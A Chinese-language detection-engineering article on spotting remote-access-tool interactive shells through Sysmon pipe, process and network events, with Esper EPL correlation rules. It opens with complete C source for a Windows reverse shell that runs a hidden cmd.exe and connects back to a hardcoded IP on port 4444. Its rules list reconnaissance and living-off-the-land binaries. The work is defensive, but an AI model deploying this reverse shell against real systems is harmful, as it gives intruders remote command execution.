目录
对于大部分远控,包括商业/开源/自研,都提供交互式cmdshell命令执行功能,并且红队在内网拿到驻点的后渗透过程中,也比较热衷于使用这个功能,如果监控这类场景,将极大提升入侵检出率。
一、交互式cmdshell的实现
由于远控中交互式shell原理和反弹shell基本一致,为了简化分析,以下将用反弹shell的实现方式描述,一般过程为:
创建socket —> 建立到C2服务器的连接 —> 创建2个单向匿名管道 —> 创建cmd.exe子进程 —> 分别在基本输入输出流上绑定2个匿名管道 —> 执行cmd.exe子进程 —> 从管道中循环读取和写入
实现的C代码如下:
/* @Time : 2015-03-19 18:32 @Author : weizinan @File : main.c @Version : 1.0 */ #include <stdio.h> #include <stdlib.h> #include <winsock2.h> #include <windows.h> #pragma comment(lib,"ws2_32.lib") #define SOCK_BUFF_SIZE 2048 enum _bind_cmd_ret_ { BIND_CMD_NORMAL = 0, BIND_CMD_ERR_CREATE_PIPE, BIND_CMD_ERR_RECV, BIND_CMD_ERR_SEND, BIND_CMD_ERR_WR_PIPE, BIND_CMD_ERR_RD_PIPE, }; int bind_cmd_proc(SOCKET soc) { HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2; //两个匿名管道 SECURITY_ATTRIBUTES sa; STARTUPINFO si; PROCESS_INFORMATION pi; fd_set rdSet, wrSet; struct timeval timeoVal; char sendBuff[SOCK_BUFF_SIZE]; char recvBuff[SOCK_BUFF_SIZE]; int recvLen = 0; unsigned long lBytesRead = 0; memset(&si, NULL, sizeof(STARTUPINFO)); memset(&sa, NULL, sizeof(SECURITY_ATTRIBUTES)); memset(&pi, NULL, sizeof(PROCESS_INFORMATION)); //创建两个匿名管道 sa.nLength = sizeof(sa); sa.lpSecurityDescriptor = 0; sa.bInheritHandle = TRUE; if (!CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0)) return BIND_CMD_ERR_CREATE_PIPE; if (!CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0)) return BIND_CMD_ERR_CREATE_PIPE; //用管道与cmd.exe绑定 GetStartupInfo(&si); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdInput = hReadPipe1; si.hStdOutput = si.hStdError = hWritePipe2; CreateProcess(NULL, (LPSTR)"cmd.exe", NULL, NULL, 1, NULL, NULL, NULL, &si, &pi); //roll select while (1) { timeoVal.tv_sec = 0; timeoVal.tv_usec = 100; FD_ZERO(&rdSet); FD_ZERO(&wrSet); FD_SET(soc, &rdSet); memset(recvBuff, NULL, sizeof(recvBuff)); memset(sendBuff, NULL, sizeof(sendBuff)); if (select(-1, &rdSet, NULL, NULL, &timeoVal) > 0) { //recv from socket if (FD_ISSET(soc, &rdSet)) { if ((recvLen = recv(soc, recvBuff, sizeof(recvBuff) - 1, 0)) <= 0) { closesocket(soc); TerminateProcess(pi.hProcess, -1); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(hReadPipe1); CloseHandle(hWritePipe1); CloseHandle(hReadPipe2); CloseHandle(hWritePipe2); return BIND_CMD_ERR_RECV; } //write to pipe if (!WriteFile(hWritePipe1, recvBuff, strlen(recvBuff), &lBytesRead, 0)) { closesocket(soc); TerminateProcess(pi.hProcess, -1); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(hReadPipe1); CloseHandle(hWritePipe1); CloseHandle(hReadPipe2); CloseHandle(hWritePipe2); return BIND_CMD_ERR_WR_PIPE; } } } else { if (PeekNamedPipe(hReadPipe2, recvBuff, sizeof(recvBuff) - 1, &lBytesRead, 0, 0) && lBytesRead > 0) { //read from cmd.exe if (!ReadFile(hReadPipe2, recvBuff, sizeof(recvBuff) - 1, &lBytesRead, 0)) { closesocket(soc); TerminateProcess(pi.hProcess, -1); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(hReadPipe1); CloseHandle(hWritePipe1); CloseHandle(hReadPipe2); CloseHandle(hWritePipe2); return BIND_CMD_ERR_RD_PIPE; } if (send(soc, recvBuff, strlen(recvBuff), 0) <= 0) { closesocket(soc); TerminateProcess(pi.hProcess, -1); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(hReadPipe1); CloseHandle(hWritePipe1); CloseHandle(hReadPipe2); CloseHandle(hWritePipe2); return BIND_CMD_ERR_SEND; } } } } return BIND_CMD_NORMAL; } int init_socket() { WSADATA wsa; memset((char *)&wsa, 0x00, sizeof(wsa)); if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) return -1; return 0; } enum _conn_back_ret_ { CONN_BACK_NORMAL = 0, CONN_BACK_ERR_INIT, CONN_BACK_ERR_CREATE_SOC, CONN_BACK_ERR_CONN, }; int conn_back_to_server(char *servIP, unsigned short servPort) { int retVal; SOCKET soc; struct sockaddr_in servAddr; memset((char *)&servAddr, 0x00, sizeof(servAddr)); servAddr.sin_family = AF_INET; servAddr.sin_addr.s_addr = inet_addr(servIP); servAddr.sin_port = htons(servPort); if (init_socket() != 0) return CONN_BACK_ERR_INIT; if ((soc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) return CONN_BACK_ERR_CREATE_SOC; if (connect(soc, (struct sockaddr *)&servAddr, sizeof(servAddr)) != 0) return CONN_BACK_ERR_CONN; retVal = bind_cmd_proc(soc); return retVal; } int main() { conn_back_to_server("172.18.249.206", 4444); return 0; }
交互式的cmdshell被反弹到C2主机上:
二、Sysmon日志分析
启动交互式shell后,受害者主机上产生与此事件相关的Sysmon日志:
关键日志详细:
# 创建匿名管道,event_id:17 "event_data": { "EventType": "createpipe", "PipeName": "<anonymous pipe>", "ProcessId": "10060", "Image": "c:\\users\\xxx\\desktop\\c_projects\\cmd_shell\\bin\\debug\\cmd_shell.exe", "ProcessGuid": "{69cf656d-42f8-6123-7122-000000001500}" }
# 连接匿名管道,event_id:18 "event_data": { "EventType": "connectpipe", "PipeName": "<anonymous pipe>", "ProcessId": "10060", "Image": "c:\\users\\xxx\\desktop\\c_projects\\cmd_shell\\bin\\debug\\cmd_shell.exe", "ProcessGuid": "{69cf656d-42f8-6123-7122-000000001500}" }
# 创建cmd.exe子进程,event_id:1 "event_data": { "ParentImage": "c:\\users\\xxx\\desktop\\c_projects\\cmd_shell\\bin\\debug\\cmd_shell.exe", "Company": "microsoft corporation", "LogonGuid": "{69cf656d-b3e8-6114-c5bf-100000000000}", "Description": "windows command processor", "OriginalFileName": "cmd.exe", "TerminalSessionId": "1", "IntegrityLevel": "medium", "ParentProcessId": "10060", "Product": "microsoft® windows® operating system", "Image": "c:\\windows\\system32\\cmd.exe", "ProcessGuid": "{69cf656d-42f8-6123-7222-000000001500}", "FileVersion": "10.0.19041.746 (winbuild.160101.0800)", "ParentCommandLine": "c:\\users\\xxx\\desktop\\c_projects\\cmd_shell\\bin\\debug\\cmd_shell.exe ", "LogonId": "0x10bfc5", "CommandLine_Raw": "cmd.exe", "ParentCommandLine_Raw": "C:\\Users\\xxx\\Desktop\\c_projects\\cmd_shell\\bin\\Debug\\cmd_shell.exe ", "CommandLine": "cmd.exe", "ProcessId": "10104", "ParentProcessGuid": "{69cf656d-42f8-6123-7122-000000001500}", }
# 访问cmd.exe子进程绑定管道,event_id:10 "event_data": { "GrantedAccess": "0x1fffff", "SourceImage": "c:\\users\\xxx\\desktop\\c_projects\\cmd_shell\\bin\\debug\\cmd_shell.exe", "TargetImageDescription": "windows command processor", "TargetImageOriginalFileName": "cmd.exe", "SourceProcessId": "10060", "SourceProcessGUID": "{69cf656d-42f8-6123-7122-000000001500}", "UtcTime": "2021-08-23 06:40:56.783", "TargetProcessId": "10104", "SourceThreadId": "11216", "TargetImage": "c:\\windows\\system32\\cmd.exe", "TargetProcessGUID": "{69cf656d-42f8-6123-7222-000000001500}", }
# 发起对C2地址的网络链接,event_id:3 "event_data": { "SourcePort": 62093, "Image": "c:\\users\\xxx\\desktop\\c_projects\\cmd_shell\\bin\\debug\\cmd_shell.exe", "DestinationPort": 4444, "ProcessGuid": "{69cf656d-42f8-6123-7122-000000001500}", "DestinationIp": "172.18.249.206", "Initiated": "true", "SourceIp": "192.168.162.225", "SourceIsIpv6": "false", "DestinationIsIpv6": "false", "ProcessId": "10060", "Protocol": "tcp", "direction": "outbound", "md5": "579f8566e1db5a9831b317eb9f4d4555" }
通过以上日志,可以梳理出更详细的执行过程:
进程在时间序列上依次触发Sysmon日志ID: 3(主动发起对外网络连接)-> 17(创建匿名管道)-> 18(连接输入管道)-> 17(创建匿名管道)-> 18(连接输出管道)-> 1(启动子进程并执行命令)-> 10(打开子进程绑定基本I/O流)
三、策略构建
总结出行为在日志中的表达后,即可尝试编写CEP规则,不同的CEP引擎规则编写方式不同,例如CEP引擎ESPER在入侵检测系统中的实践,对于此事件描述的EPL语句可参考如下。
1、创建时间窗口缓存事件日志
不仅仅监控cmd.exe,同时需要监控powershell.exe,甚至黑客可能绕过终端程序直接和相关命令绑定管道,此外还有python.exe等脚本解释控制台,都应该在考虑范围内:
# 创建绑定匿名管道执行CMD命令的全局窗口 epl: ' @name("创建绑定匿名管道执行CMD命令的全局窗口_Sysmon_创建临时缓存窗口") @public create window dc9ska0wsa_win#groupwin(computer_name)#time(10 sec) as select * from SysmonRawLogs; @name("创建绑定匿名管道执行CMD命令的全局窗口_Sysmon_创建窗口索引") create index dc9ska0wsa_win_Index on dc9ska0wsa_win ( computer_name hash, event_id hash, event_data_image hash, event_data_sourceimage hash, event_data_processguid hash, event_data_sourceprocessguid hash, event_data_processid hash, event_data_sourceprocessid hash, event_data_parentimage, event_data_parentprocessguid, event_data_parentprocessid ); @name("创建绑定匿名管道执行CMD命令的全局窗口_Sysmon_写入缓存数据") insert into dc9ska0wsa_win select * from SysmonRawLogs where ( event_id in ("17", "18") and event_data_pipename = "<anonymous pipe>" and event_data_eventtype in ("createpipe", "connectpipe") ) or ( event_id = "1" and not StringUtils.wildcard_match(event_data_parentcommandline, "*.ps1") and not StringUtils.wildcard_match(event_data_parentimage, "*\\java.exe") and not StringUtils.wildcard_match(event_data_parentimage, "*\\xshellcore.exe") and ( StringUtils.wildcard_match(event_data_image, "*\\cmd.exe") or StringUtils.wildcard_match(event_data_image, "*\\powershell.exe") or StringUtils.wildcard_match(event_data_image, "*\\whoami.exe") or StringUtils.wildcard_match(event_data_image, "*\\hostname.exe") or StringUtils.wildcard_match(event_data_image, "*\\net.exe") or StringUtils.wildcard_match(event_data_image, "*\\net1.exe") or StringUtils.wildcard_match(event_data_image, "*\\systeminfo.exe") or StringUtils.wildcard_match(event_data_image, "*\\wmic.exe") or StringUtils.wildcard_match(event_data_image, "*\\regsvr32.exe") or StringUtils.wildcard_match(event_data_image, "*\\bitsadmin.exe") or StringUtils.wildcard_match(event_data_image, "*\\cmstp.exe") or StringUtils.wildcard_match(event_data_image, "*\\mshta.exe") or StringUtils.wildcard_match(event_data_image, "*\\certutil.exe") or StringUtils.wildcard_match(event_data_image, "*\\rundll32.exe") or StringUtils.wildcard_match(event_data_image, "*\\cscript.exe") or StringUtils.wildcard_match(event_data_image, "*\\msiexec.exe") or StringUtils.wildcard_match(event_data_image, "*\\sctasks.exe") or StringUtils.wildcard_match(event_data_image, "*\\wscript.exe") or StringUtils.wildcard_match(event_data_image, "*\\tasklist.exe") or StringUtils.wildcard_match(event_data_image, "*\\taskkill.exe") or StringUtils.wildcard_match(event_data_image, "*\\ping.exe") or StringUtils.wildcard_match(event_data_image, "*\\nslookup.exe") or StringUtils.wildcard_match(event_data_image, "*\\tracert.exe") or StringUtils.wildcard_match(event_data_image, "*\\xcopy.exe") or StringUtils.wildcard_match(event_data_image, "*\\quser.exe") or StringUtils.wildcard_match(event_data_image, "*\\netstat.exe") or StringUtils.wildcard_match(event_data_image, "*\\qprocess.exe") or StringUtils.wildcard_match(event_data_image, "*\\nltest.exe") ) ) or ( event_id = "10" and ( StringUtils.wildcard_match(event_data_targetimage, "*\\cmd.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\powershell.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\whoami.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\hostname.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\net.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\net1.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\systeminfo.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\wmic.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\regsvr32.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\bitsadmin.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\cmstp.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\mshta.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\certutil.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\rundll32.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\cscript.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\msiexec.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\sctasks.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\wscript.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\tasklist.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\taskkill.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\ping.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\nslookup.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\tracert.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\xcopy.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\quser.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\netstat.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\qprocess.exe") or StringUtils.wildcard_match(event_data_targetimage, "*\\nltest.exe") ) ); '
2、检测通过绑定2个匿名管道执行交互式命令
# 通过绑定2个单向匿名管道执行交互式CMD命令_Sysmon epl: ' @name("通过绑定2个单向匿名管道执行交互式CMD命令_Sysmon_内联查询") select * from dc9ska0wsa_win as a1, dc9ska0wsa_win as b1, dc9ska0wsa_win as a2, dc9ska0wsa_win as b2, dc9ska0wsa_win as c1, dc9ska0wsa_win as d where a1.event_id = "17" and a2.event_id = "17" and b1.event_id = "18" and b2.event_id = "18" and c1.event_id = "10" and d.event_id = "1" and a1.log_id != a2.log_id and b1.log_id != b2.log_id and a1.event_data_eventtype = "createpipe" and a1.event_data_pipename = "<anonymous pipe>" and a2.event_data_eventtype = "createpipe" and a2.event_data_pipename = "<anonymous pipe>" and b1.event_data_eventtype = "connectpipe" and b1.event_data_pipename = "<anonymous pipe>" and b2.event_data_eventtype = "connectpipe" and b2.event_data_pipename = "<anonymous pipe>" and a1.computer_name = b1.computer_name and a1.event_data_image = b1.event_data_image and a1.event_data_processguid = b1.event_data_processguid and a1.event_data_processid = b1.event_data_processid and b1.computer_name = a2.computer_name and b1.event_data_image = a2.event_data_image and b1.event_data_processguid = a2.event_data_processguid and b1.event_data_processid = a2.event_data_processid and a2.computer_name = b2.computer_name and a2.event_data_image = b2.event_data_image and a2.event_data_processguid = b2.event_data_processguid and a2.event_data_processid = b2.event_data_processid and b2.computer_name = c1.computer_name and b2.event_data_image = c1.event_data_sourceimage and b2.event_data_processguid = c1.event_data_sourceprocessguid and b2.event_data_processid = c1.event_data_sourceprocessid and c1.computer_name = d.computer_name and c1.event_data_sourceimage = d.event_data_parentimage and c1.event_data_sourceprocessguid = d.event_data_parentprocessguid and c1.event_data_sourceprocessid = d.event_data_parentprocessid and c1.event_data_targetimage = d.event_data_image and c1.event_data_targetprocessguid = d.event_data_processguid and c1.event_data_targetprocessid = d.event_data_processid and a1.unix_timestamp <= b1.unix_timestamp and a2.unix_timestamp <= b2.unix_timestamp and b1.unix_timestamp <= c1.unix_timestamp and a1.unix_timestamp <= d.unix_timestamp and Math.abs(d.unix_timestamp - a1.unix_timestamp) < 3000 and Math.abs(a1.unix_timestamp - b1.unix_timestamp) < 1500 and Math.abs(a2.unix_timestamp - b2.unix_timestamp) < 1500 and Math.abs(c1.unix_timestamp - d.unix_timestamp) < 1500 ; '
3、关联网络事件确定远控进程
如果仅仅单一检测父进程通过绑定匿名管道与子进程创建交互式shell,可能存在大量误报,例如某些IDE的仿真控制台,也会使用这种形式,因此需要结合网络连接信息综合判断,例如主动发起过对公网的TCP连接,那么行为就很可疑:
# 可疑进程通过2个单向匿名管道执行交互式CMD命令 epl: ' @name("可疑进程通过2个单向匿名管道执行交互式CMD命令_Sysmon_DC_查询同时有两个行为的进程_1") select * from pattern [ every-distinct( a.computer_name, a.event_data_sourceip, a.event_data_destinationip, a.event_data_destinationport, a.event_data_image, 3 hour ) a=SysmonRawLogs( event_id = "3" and event_data_initiated = "true" and IPAddress4Utils.is_valid_ipv4(event_data_sourceip) and IPAddress4Utils.is_valid_ipv4(event_data_destinationip) and event_data_sourceip != "127.0.0.1" and event_data_destinationip != "127.0.0.1" and not StringUtils.wildcard_match(event_data_image, "*\\google\\*") and not StringUtils.wildcard_match(event_data_image, "*\\inetsrv\\w3wp.exe") and not StringUtils.wildcard_match(event_data_image, "*\\system32\\dns.exe") and not StringUtils.wildcard_match(event_data_image, "*\\system32\\svchost.exe") ) -> b=ComplexAttackAlerts( rule_name = "通过绑定2个单向匿名管道执行交互式CMD命令_Sysmon" and a.computer_name = host_computer_name and a.event_data_image = host_parent_images and a.event_data_processguid = host_parent_guid and a.event_data_processid = host_parent_pid ) where timer:within(6 hour) ]; '
4、误报情况
新规则上线可能存在部分误报,某些正常软件也存在类似的行为,但误报量也很少,添加少量白名单即可收敛掉,最后告警产生的效果:
四、后话
这个模型仅仅适用于回连型远控的交互式shell功能,如果攻击者不使用这个功能,是无法触发告警,目前测试可监控市面上常见的远控,包括商业和自研的远控,看来各家的实现方式基本都是通过绑定2个单向匿名管道。
但也有的不能被监控,例如CobaltStrike,原因是CobaltStrike的shell不是交互式的,而是使用类似于popen()的函数,仅仅通过1个单向匿名管道,将执行的命令结果读取出后返回给C2,但对于popen()这种执行命令方式的监控,只需将这个模型改为『可疑进程通过1个单向匿名管道执行非交互式CMD命令』即可,细节本文不再赘述。